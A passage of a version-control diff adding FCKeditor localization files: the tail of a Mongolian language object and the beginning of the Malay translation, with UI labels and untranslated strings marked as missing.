+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Багажны хэсэг эвдэх",
+ToolbarExpand		: "Багажны хэсэг өргөтгөх",
+
+// Toolbar Items and Context Menu
+Save				: "Хадгалах",
+NewPage				: "Шинэ хуудас",
+Preview				: "Уридчлан харах",
+Cut					: "Хайчлах",
+Copy				: "Хуулах",
+Paste				: "Буулгах",
+PasteText			: "plain text-ээс буулгах",
+PasteWord			: "Word-оос буулгах",
+Print				: "Хэвлэх",
+SelectAll			: "Бүгдийг нь сонгох",
+RemoveFormat		: "Формат авч хаях",
+InsertLinkLbl		: "Линк",
+InsertLink			: "Линк Оруулах/Засварлах",
+RemoveLink			: "Линк авч хаях",
+Anchor				: "Insert/Edit Anchor",	//MISSING
+InsertImageLbl		: "Зураг",
+InsertImage			: "Зураг Оруулах/Засварлах",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "Хүснэгт",
+InsertTable			: "Хүснэгт Оруулах/Засварлах",
+InsertLineLbl		: "Зураас",
+InsertLine			: "Хөндлөн зураас оруулах",
+InsertSpecialCharLbl: "Онцгой тэмдэгт",
+InsertSpecialChar	: "Онцгой тэмдэгт оруулах",
+InsertSmileyLbl		: "Тодорхойлолт",
+InsertSmiley		: "Тодорхойлолт оруулах",
+About				: "FCKeditor-н тухай",
+Bold				: "Тод бүдүүн",
+Italic				: "Налуу",
+Underline			: "Доогуур нь зураастай болгох",
+StrikeThrough		: "Дундуур нь зураастай болгох",
+Subscript			: "Суурь болгох",
+Superscript			: "Зэрэг болгох",
+LeftJustify			: "Зүүн талд байрлуулах",
+CenterJustify		: "Төвд байрлуулах",
+RightJustify		: "Баруун талд байрлуулах",
+BlockJustify		: "Блок хэлбэрээр байрлуулах",
+DecreaseIndent		: "Догол мөр нэмэх",
+IncreaseIndent		: "Догол мөр хасах",
+Undo				: "Хүчингүй болгох",
+Redo				: "Өмнөх үйлдлээ сэргээх",
+NumberedListLbl		: "Дугаарлагдсан жагсаалт",
+NumberedList		: "Дугаарлагдсан жагсаалт Оруулах/Авах",
+BulletedListLbl		: "Цэгтэй жагсаалт",
+BulletedList		: "Цэгтэй жагсаалт Оруулах/Авах",
+ShowTableBorders	: "Хүснэгтийн хүрээг үзүүлэх",
+ShowDetails			: "Деталчлан үзүүлэх",
+Style				: "Загвар",
+FontFormat			: "Формат",
+Font				: "Фонт",
+FontSize			: "Хэмжээ",
+TextColor			: "Фонтны өнгө",
+BGColor				: "Фонны өнгө",
+Source				: "Код",
+Find				: "Хайх",
+Replace				: "Солих",
+SpellCheck			: "Check Spelling",	//MISSING
+UniversalKeyboard	: "Universal Keyboard",	//MISSING
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Form",	//MISSING
+Checkbox		: "Checkbox",	//MISSING
+RadioButton		: "Radio Button",	//MISSING
+TextField		: "Text Field",	//MISSING
+Textarea		: "Textarea",	//MISSING
+HiddenField		: "Hidden Field",	//MISSING
+Button			: "Button",	//MISSING
+SelectionField	: "Selection Field",	//MISSING
+ImageButton		: "Image Button",	//MISSING
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Холбоос засварлах",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Мөр оруулах",
+DeleteRows			: "Мөр устгах",
+InsertColumn		: "Багана оруулах",
+DeleteColumns		: "Багана устгах",
+InsertCell			: "Нүх оруулах",
+DeleteCells			: "Нүх устгах",
+MergeCells			: "Нүх нэгтэх",
+SplitCell			: "Нүх тусгайрлах",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Хоосон зайн шинж чанар",
+TableProperties		: "Хүснэгт",
+ImageProperties		: "Зураг",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "Anchor Properties",	//MISSING
+ButtonProp			: "Button Properties",	//MISSING
+CheckboxProp		: "Checkbox Properties",	//MISSING
+HiddenFieldProp		: "Hidden Field Properties",	//MISSING
+RadioButtonProp		: "Radio Button Properties",	//MISSING
+ImageButtonProp		: "Image Button Properties",	//MISSING
+TextFieldProp		: "Text Field Properties",	//MISSING
+SelectionFieldProp	: "Selection Field Properties",	//MISSING
+TextareaProp		: "Textarea Properties",	//MISSING
+FormProp			: "Form Properties",	//MISSING
+
+FontFormats			: "Хэвийн;Formatted;Хаяг;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Paragraph (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML үйл явц явагдаж байна. Хүлээнэ үү...",
+Done				: "Хийх",
+PasteWordConfirm	: "Word-оос хуулсан текстээ санаж байгааг нь буулгахыг та хүсч байна уу. Та текст-ээ буулгахын өмнө цэвэрлэх үү?",
+NotCompatiblePaste	: "Энэ комманд Internet Explorer-ын 5.5 буюу түүнээс дээш хувилбарт идвэхшинэ. Та цэвэрлэхгүйгээр буулгахыг хүсч байна?",
+UnknownToolbarItem	: "Багажны хэсгийн \"%1\" item мэдэгдэхгүй байна",
+UnknownCommand		: "\"%1\" комманд нэр мэдагдэхгүй байна",
+NotImplemented		: "Зөвшөөрөгдөхгүй комманд",
+UnknownToolbarSet	: "Багажны хэсэгт \"%1\" оноох, үүсээгүй байна",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Болих",
+DlgBtnClose			: "Хаах",
+DlgBtnBrowseServer	: "Browse Server",	//MISSING
+DlgAdvancedTag		: "Нэмэлт",
+DlgOpOther			: "<Other>",	//MISSING
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<Оноохгүй>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Хэлний чиглэл",
+DlgGenLangDirLtr	: "Зүүнээс баруун (LTR)",
+DlgGenLangDirRtl	: "Баруунаас зүүн (RTL)",
+DlgGenLangCode		: "Хэлний код",
+DlgGenAccessKey		: "Холбох түлхүүр",
+DlgGenName			: "Нэр",
+DlgGenTabIndex		: "Tab индекс",
+DlgGenLongDescr		: "URL-ын тайлбар",
+DlgGenClass			: "Stylesheet классууд",
+DlgGenTitle			: "Зөвлөлдөх гарчиг",
+DlgGenContType		: "Зөвлөлдөх төрлийн агуулга",
+DlgGenLinkCharset	: "Тэмдэгт оноох нөөцөд холбогдсон",
+DlgGenStyle			: "Загвар",
+
+// Image Dialog
+DlgImgTitle			: "Зураг",
+DlgImgInfoTab		: "Зурагны мэдээлэл",
+DlgImgBtnUpload		: "Үүнийг сервэррүү илгээ",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Хуулах",
+DlgImgAlt			: "Тайлбар текст",
+DlgImgWidth			: "Өргөн",
+DlgImgHeight		: "Өндөр",
+DlgImgLockRatio		: "Lock Ratio",
+DlgBtnResetSize		: "хэмжээ дахин оноох",
+DlgImgBorder		: "Хүрээ",
+DlgImgHSpace		: "Хөндлөн зай",
+DlgImgVSpace		: "Босоо зай",
+DlgImgAlign			: "Эгнээ",
+DlgImgAlignLeft		: "Зүүн",
+DlgImgAlignAbsBottom: "Abs доод талд",
+DlgImgAlignAbsMiddle: "Abs Дунд талд",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Доод талд",
+DlgImgAlignMiddle	: "Дунд талд",
+DlgImgAlignRight	: "Баруун",
+DlgImgAlignTextTop	: "Текст дээр",
+DlgImgAlignTop		: "Дээд талд",
+DlgImgPreview		: "Уридчлан харах",
+DlgImgAlertUrl		: "Зурагны URL-ын төрлийн сонгоно уу",
+DlgImgLinkTab		: "Link",	//MISSING
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "Линк",
+DlgLnkInfoTab		: "Линкийн мэдээлэл",
+DlgLnkTargetTab		: "Байрлал",
+
+DlgLnkType			: "Линкийн төрөл",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Энэ хуудасандах холбоос",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Протокол",
+DlgLnkProtoOther	: "<бусад>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Холбоос сонгох",
+DlgLnkAnchorByName	: "Холбоосын нэрээр",
+DlgLnkAnchorById	: "Элемэнт Id-гаар",
+DlgLnkNoAnchors		: "<Баримт бичиг холбоосгүй байна>",
+DlgLnkEMail			: "E-Mail Хаяг",
+DlgLnkEMailSubject	: "Message Subject",
+DlgLnkEMailBody		: "Message-ийн агуулга",
+DlgLnkUpload		: "Хуулах",
+DlgLnkBtnUpload		: "Үүнийг серверрүү илгээ",
+
+DlgLnkTarget		: "Байрлал",
+DlgLnkTargetFrame	: "<Агуулах хүрээ>",
+DlgLnkTargetPopup	: "<popup цонх>",
+DlgLnkTargetBlank	: "Шинэ цонх (_blank)",
+DlgLnkTargetParent	: "Эцэг цонх (_parent)",
+DlgLnkTargetSelf	: "Төстэй цонх (_self)",
+DlgLnkTargetTop		: "Хамгийн түрүүн байх цонх (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",	//MISSING
+DlgLnkPopWinName	: "Popup цонхны нэр",
+DlgLnkPopWinFeat	: "Popup цонхны онцлог",
+DlgLnkPopResize		: "Хэмжээ өөрчлөх",
+DlgLnkPopLocation	: "Location хэсэг",
+DlgLnkPopMenu		: "Meню хэсэг",
+DlgLnkPopScroll		: "Скрол хэсэгүүд",
+DlgLnkPopStatus		: "Статус хэсэг",
+DlgLnkPopToolbar	: "Багажны хэсэг",
+DlgLnkPopFullScrn	: "Цонх дүүргэх (IE)",
+DlgLnkPopDependent	: "Хамаатай (Netscape)",
+DlgLnkPopWidth		: "Өргөн",
+DlgLnkPopHeight		: "Өндөр",
+DlgLnkPopLeft		: "Зүүн байрлал",
+DlgLnkPopTop		: "Дээд байрлал",
+
+DlnLnkMsgNoUrl		: "Линк URL-ээ төрөлжүүлнэ үү",
+DlnLnkMsgNoEMail	: "Е-mail хаягаа төрөлжүүлнэ үү",
+DlnLnkMsgNoAnchor	: "Холбоосоо сонгоно уу",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Өнгө сонгох",
+DlgColorBtnClear	: "Цэвэрлэх",
+DlgColorHighlight	: "Өнгө",
+DlgColorSelected	: "Сонгогдсон",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Тодорхойлолт оруулах",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Онцгой тэмдэгт сонгох",
+
+// Table Dialog
+DlgTableTitle		: "Хүснэгт",
+DlgTableRows		: "Мөр",
+DlgTableColumns		: "Багана",
+DlgTableBorder		: "Хүрээний хэмжээ",
+DlgTableAlign		: "Эгнээ",
+DlgTableAlignNotSet	: "<Оноохгүй>",
+DlgTableAlignLeft	: "Зүүн талд",
+DlgTableAlignCenter	: "Төвд",
+DlgTableAlignRight	: "Баруун талд",
+DlgTableWidth		: "Өргөн",
+DlgTableWidthPx		: "цэг",
+DlgTableWidthPc		: "хувь",
+DlgTableHeight		: "Өндөр",
+DlgTableCellSpace	: "Нүх хоорондын зай",
+DlgTableCellPad		: "Нүх доторлох",
+DlgTableCaption		: "Тайлбар",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Хоосон зайн шинж чанар",
+DlgCellWidth		: "Өргөн",
+DlgCellWidthPx		: "цэг",
+DlgCellWidthPc		: "хувь",
+DlgCellHeight		: "Өндөр",
+DlgCellWordWrap		: "Үг таслах",
+DlgCellWordWrapNotSet	: "<Оноохгүй>",
+DlgCellWordWrapYes	: "Тийм",
+DlgCellWordWrapNo	: "Үгүй",
+DlgCellHorAlign		: "Босоо эгнээ",
+DlgCellHorAlignNotSet	: "<Оноохгүй>",
+DlgCellHorAlignLeft	: "Зүүн",
+DlgCellHorAlignCenter	: "Төв",
+DlgCellHorAlignRight: "Баруун",
+DlgCellVerAlign		: "Хөндлөн эгнээ",
+DlgCellVerAlignNotSet	: "<Оноохгүй>",
+DlgCellVerAlignTop	: "Дээд тал",
+DlgCellVerAlignMiddle	: "Дунд",
+DlgCellVerAlignBottom	: "Доод тал",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Нийт мөр",
+DlgCellCollSpan		: "Нийт багана",
+DlgCellBackColor	: "Фонны өнгө",
+DlgCellBorderColor	: "Хүрээний өнгө",
+DlgCellBtnSelect	: "Сонго...",
+
+// Find Dialog
+DlgFindTitle		: "Хайх",
+DlgFindFindBtn		: "Хайх",
+DlgFindNotFoundMsg	: "Хайсан текст олсонгүй.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Солих",
+DlgReplaceFindLbl		: "Хайх үг/үсэг:",
+DlgReplaceReplaceLbl	: "Солих үг:",
+DlgReplaceCaseChk		: "Тэнцэх төлөв",
+DlgReplaceReplaceBtn	: "Солих",
+DlgReplaceReplAllBtn	: "Бүгдийг нь Солих",
+DlgReplaceWordChk		: "Тэнцэх бүтэн үг",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Таны browser-ын хамгаалалтын тохиргоо editor-д автоматаар буулгах үйлдэлийг зөвшөөрөхгүй байна. (Ctrl+V) товчны хослолыг ашиглана уу.",
+PasteErrorCut	: "Таны browser-ын хамгаалалтын тохиргоо editor-д автоматаар хайчлах үйлдэлийг зөвшөөрөхгүй байна. (Ctrl+X) товчны хослолыг ашиглана уу.",
+PasteErrorCopy	: "Таны browser-ын хамгаалалтын тохиргоо editor-д автоматаар хуулах үйлдэлийг зөвшөөрөхгүй байна. (Ctrl+C) товчны хослолыг ашиглана уу.",
+
+PasteAsText		: "Plain Text-ээс буулгах",
+PasteFromWord	: "Word-оос буулгах",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "Автоматаар",
+ColorMoreColors	: "Нэмэлт өнгөнүүд...",
+
+// Document Properties
+DocProps		: "Document Properties",	//MISSING
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",	//MISSING
+DlgAnchorName		: "Anchor Name",	//MISSING
+DlgAnchorErrorName	: "Please type the anchor name",	//MISSING
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",	//MISSING
+DlgSpellChangeTo		: "Change to",	//MISSING
+DlgSpellBtnIgnore		: "Ignore",	//MISSING
+DlgSpellBtnIgnoreAll	: "Ignore All",	//MISSING
+DlgSpellBtnReplace		: "Replace",	//MISSING
+DlgSpellBtnReplaceAll	: "Replace All",	//MISSING
+DlgSpellBtnUndo			: "Undo",	//MISSING
+DlgSpellNoSuggestions	: "- No suggestions -",	//MISSING
+DlgSpellProgress		: "Spell check in progress...",	//MISSING
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",	//MISSING
+DlgSpellNoChanges		: "Spell check complete: No words changed",	//MISSING
+DlgSpellOneChange		: "Spell check complete: One word changed",	//MISSING
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",	//MISSING
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",	//MISSING
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",	//MISSING
+DlgButtonType		: "Type",	//MISSING
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",	//MISSING
+DlgCheckboxValue	: "Value",	//MISSING
+DlgCheckboxSelected	: "Selected",	//MISSING
+
+// Form Dialog
+DlgFormName		: "Name",	//MISSING
+DlgFormAction	: "Action",	//MISSING
+DlgFormMethod	: "Method",	//MISSING
+
+// Select Field Dialog
+DlgSelectName		: "Name",	//MISSING
+DlgSelectValue		: "Value",	//MISSING
+DlgSelectSize		: "Size",	//MISSING
+DlgSelectLines		: "lines",	//MISSING
+DlgSelectChkMulti	: "Allow multiple selections",	//MISSING
+DlgSelectOpAvail	: "Available Options",	//MISSING
+DlgSelectOpText		: "Text",	//MISSING
+DlgSelectOpValue	: "Value",	//MISSING
+DlgSelectBtnAdd		: "Add",	//MISSING
+DlgSelectBtnModify	: "Modify",	//MISSING
+DlgSelectBtnUp		: "Up",	//MISSING
+DlgSelectBtnDown	: "Down",	//MISSING
+DlgSelectBtnSetValue : "Set as selected value",	//MISSING
+DlgSelectBtnDelete	: "Delete",	//MISSING
+
+// Textarea Dialog
+DlgTextareaName	: "Name",	//MISSING
+DlgTextareaCols	: "Columns",	//MISSING
+DlgTextareaRows	: "Rows",	//MISSING
+
+// Text Field Dialog
+DlgTextName			: "Name",	//MISSING
+DlgTextValue		: "Value",	//MISSING
+DlgTextCharWidth	: "Character Width",	//MISSING
+DlgTextMaxChars		: "Maximum Characters",	//MISSING
+DlgTextType			: "Type",	//MISSING
+DlgTextTypeText		: "Text",	//MISSING
+DlgTextTypePass		: "Password",	//MISSING
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",	//MISSING
+DlgHiddenValue	: "Value",	//MISSING
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",	//MISSING
+NumberedListProp	: "Numbered List Properties",	//MISSING
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Type",	//MISSING
+DlgLstTypeCircle	: "Circle",	//MISSING
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Square",	//MISSING
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",	//MISSING
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",	//MISSING
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",	//MISSING
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",	//MISSING
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",	//MISSING
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",	//MISSING
+DlgDocBackTab		: "Background",	//MISSING
+DlgDocColorsTab		: "Colors and Margins",	//MISSING
+DlgDocMetaTab		: "Meta Data",	//MISSING
+
+DlgDocPageTitle		: "Page Title",	//MISSING
+DlgDocLangDir		: "Language Direction",	//MISSING
+DlgDocLangDirLTR	: "Left to Right (LTR)",	//MISSING
+DlgDocLangDirRTL	: "Right to Left (RTL)",	//MISSING
+DlgDocLangCode		: "Language Code",	//MISSING
+DlgDocCharSet		: "Character Set Encoding",	//MISSING
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Other Character Set Encoding",	//MISSING
+
+DlgDocDocType		: "Document Type Heading",	//MISSING
+DlgDocDocTypeOther	: "Other Document Type Heading",	//MISSING
+DlgDocIncXHTML		: "Include XHTML Declarations",	//MISSING
+DlgDocBgColor		: "Background Color",	//MISSING
+DlgDocBgImage		: "Background Image URL",	//MISSING
+DlgDocBgNoScroll	: "Nonscrolling Background",	//MISSING
+DlgDocCText			: "Text",	//MISSING
+DlgDocCLink			: "Link",	//MISSING
+DlgDocCVisited		: "Visited Link",	//MISSING
+DlgDocCActive		: "Active Link",	//MISSING
+DlgDocMargins		: "Page Margins",	//MISSING
+DlgDocMaTop			: "Top",	//MISSING
+DlgDocMaLeft		: "Left",	//MISSING
+DlgDocMaRight		: "Right",	//MISSING
+DlgDocMaBottom		: "Bottom",	//MISSING
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",	//MISSING
+DlgDocMeDescr		: "Document Description",	//MISSING
+DlgDocMeAuthor		: "Author",	//MISSING
+DlgDocMeCopy		: "Copyright",	//MISSING
+DlgDocPreview		: "Preview",	//MISSING
+
+// Templates Dialog
+Templates			: "Templates",	//MISSING
+DlgTemplatesTitle	: "Content Templates",	//MISSING
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",	//MISSING
+DlgTemplatesLoading	: "Loading templates list. Please wait...",	//MISSING
+DlgTemplatesNoTpl	: "(No templates defined)",	//MISSING
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "About",	//MISSING
+DlgAboutBrowserInfoTab	: "Browser Info",	//MISSING
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "Хувилбар",
+DlgAboutLicense		: "GNU цөөн ерөнхий нийтийн лицензийн ангилалд багтсан зөвшөөрөлтэй",
+DlgAboutInfo		: "Мэдээллээр туслах"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ms.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ms.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ms.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ms.js
+ * 	Malay language file.
+ * 
+ * File Authors:
+ * 		Fairul Izham Mohd Mokhlas (eg86@hotmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Collapse Toolbar",
+ToolbarExpand		: "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save				: "Simpan",
+NewPage				: "Helaian Baru",
+Preview				: "Prebiu",
+Cut					: "Potong",
+Copy				: "Salin",
+Paste				: "Tampal",
+PasteText			: "Tampal sebagai Text Biasa",
+PasteWord			: "Tampal dari Word",
+Print				: "Cetak",
+SelectAll			: "Pilih Semua",
+RemoveFormat		: "Buang Format",
+InsertLinkLbl		: "Sambungan",
+InsertLink			: "Masukkan/Sunting Sambungan",
+RemoveLink			: "Buang Sambungan",
+Anchor				: "Masukkan/Sunting Pautan",
+InsertImageLbl		: "Gambar",
+InsertImage			: "Masukkan/Sunting Gambar",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "Jadual",
+InsertTable			: "Masukkan/Sunting Jadual",
+InsertLineLbl		: "Garisan",
+InsertLine			: "Masukkan Garisan Membujur",
+InsertSpecialCharLbl: "Huruf Istimewa",
+InsertSpecialChar	: "Masukkan Huruf Istimewa",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Masukkan Smiley",
+About				: "Tentang FCKeditor",
+Bold				: "Bold",
+Italic				: "Italic",
+Underline			: "Underline",
+StrikeThrough		: "Strike Through",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Jajaran Kiri",
+CenterJustify		: "Jajaran Tengah",
+RightJustify		: "Jajaran Kanan",
+BlockJustify		: "Jajaran Blok",
+DecreaseIndent		: "Kurangkan Inden",
+IncreaseIndent		: "Tambahkan Inden",
+Undo				: "Batalkan",
+Redo				: "Ulangkan",
+NumberedListLbl		: "Senarai bernombor",
+NumberedList		: "Masukkan/Sunting Senarai bernombor",
+BulletedListLbl		: "Senarai tidak bernombor",
+BulletedList		: "Masukkan/Sunting Senarai tidak bernombor",
+ShowTableBorders	: "Tunjukkan Border Jadual",
+ShowDetails			: "Tunjukkan Butiran",
+Style				: "Stail",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Saiz",
+TextColor			: "Warna Text",
+BGColor				: "Warna Latarbelakang",
+Source				: "Sumber",
+Find				: "Cari",
+Replace				: "Ganti",
+SpellCheck			: "Semak Ejaan",
+UniversalKeyboard	: "Papan Kekunci Universal",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Borang",
+Checkbox		: "Checkbox",
+RadioButton		: "Butang Radio",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Field Tersembunyi",
+Button			: "Butang",
+SelectionField	: "Field Pilihan",
+ImageButton		: "Butang Bergambar",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Sunting Sambungan",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Masukkan Baris",
+DeleteRows			: "Buangkan Baris",
+InsertColumn		: "Masukkan Lajur",
+DeleteColumns		: "Buangkan Lajur",
+InsertCell			: "Masukkan Sel",
+DeleteCells			: "Buangkan Sel-sel",
+MergeCells			: "Cantumkan Sel-sel",
+SplitCell			: "Bahagikan Sel",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Ciri-ciri Sel",
+TableProperties		: "Ciri-ciri Jadual",
+ImageProperties		: "Ciri-ciri Gambar",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "Ciri-ciri Pautan",
+ButtonProp			: "Ciri-ciri Butang",
+CheckboxProp		: "Ciri-ciri Checkbox",
+HiddenFieldProp		: "Ciri-ciri Field Tersembunyi",
+RadioButtonProp		: "Ciri-ciri Butang Radio",
+ImageButtonProp		: "Ciri-ciri Butang Bergambar",
+TextFieldProp		: "Ciri-ciri Text Field",
+SelectionFieldProp	: "Ciri-ciri Selection Field",
+TextareaProp		: "Ciri-ciri Textarea",
+FormProp			: "Ciri-ciri Borang",
+
+FontFormats			: "Normal;Telah Diformat;Alamat;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Perenggan (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Memproses XHTML. Sila tunggu...",
+Done				: "Siap",
+PasteWordConfirm	: "Text yang anda hendak tampal adalah berasal dari Word. Adakah anda mahu membuang semua format Word sebelum tampal ke dalam text?",
+NotCompatiblePaste	: "Arahan ini bole dilakukan jika anda mempuunyai Internet Explorer version 5.5 atau yang lebih tinggi. Adakah anda hendak tampal text tanpa membuang format Word?",
+UnknownToolbarItem	: "Toolbar item tidak diketahui\"%1\"",
+UnknownCommand		: "Arahan tidak diketahui \"%1\"",
+NotImplemented		: "Arahan tidak terdapat didalam sistem",
+UnknownToolbarSet	: "Set toolbar \"%1\" tidak wujud",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Batal",
+DlgBtnClose			: "Tutup",
+DlgBtnBrowseServer	: "Browse Server",
+DlgAdvancedTag		: "Advanced",
+DlgOpOther			: "<Lain-lain>",
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<tidak di set>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Arah Tulisan",
+DlgGenLangDirLtr	: "Kiri ke Kanan (LTR)",
+DlgGenLangDirRtl	: "Kanan ke Kiri (RTL)",
+DlgGenLangCode		: "Kod Bahasa",
+DlgGenAccessKey		: "Kunci Akses",
+DlgGenName			: "Nama",
+DlgGenTabIndex		: "Indeks Tab ",
+DlgGenLongDescr		: "Butiran Panjang URL",
+DlgGenClass			: "Kelas-kelas Stylesheet",
+DlgGenTitle			: "Tajuk Makluman",
+DlgGenContType		: "Jenis Kandungan Makluman",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Stail",
+
+// Image Dialog
+DlgImgTitle			: "Ciri-ciri Imej",
+DlgImgInfoTab		: "Info Imej",
+DlgImgBtnUpload		: "Hantar ke Server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Muat Naik",
+DlgImgAlt			: "Text Alternatif",
+DlgImgWidth			: "Lebar",
+DlgImgHeight		: "Tinggi",
+DlgImgLockRatio		: "Tetapkan Nisbah",
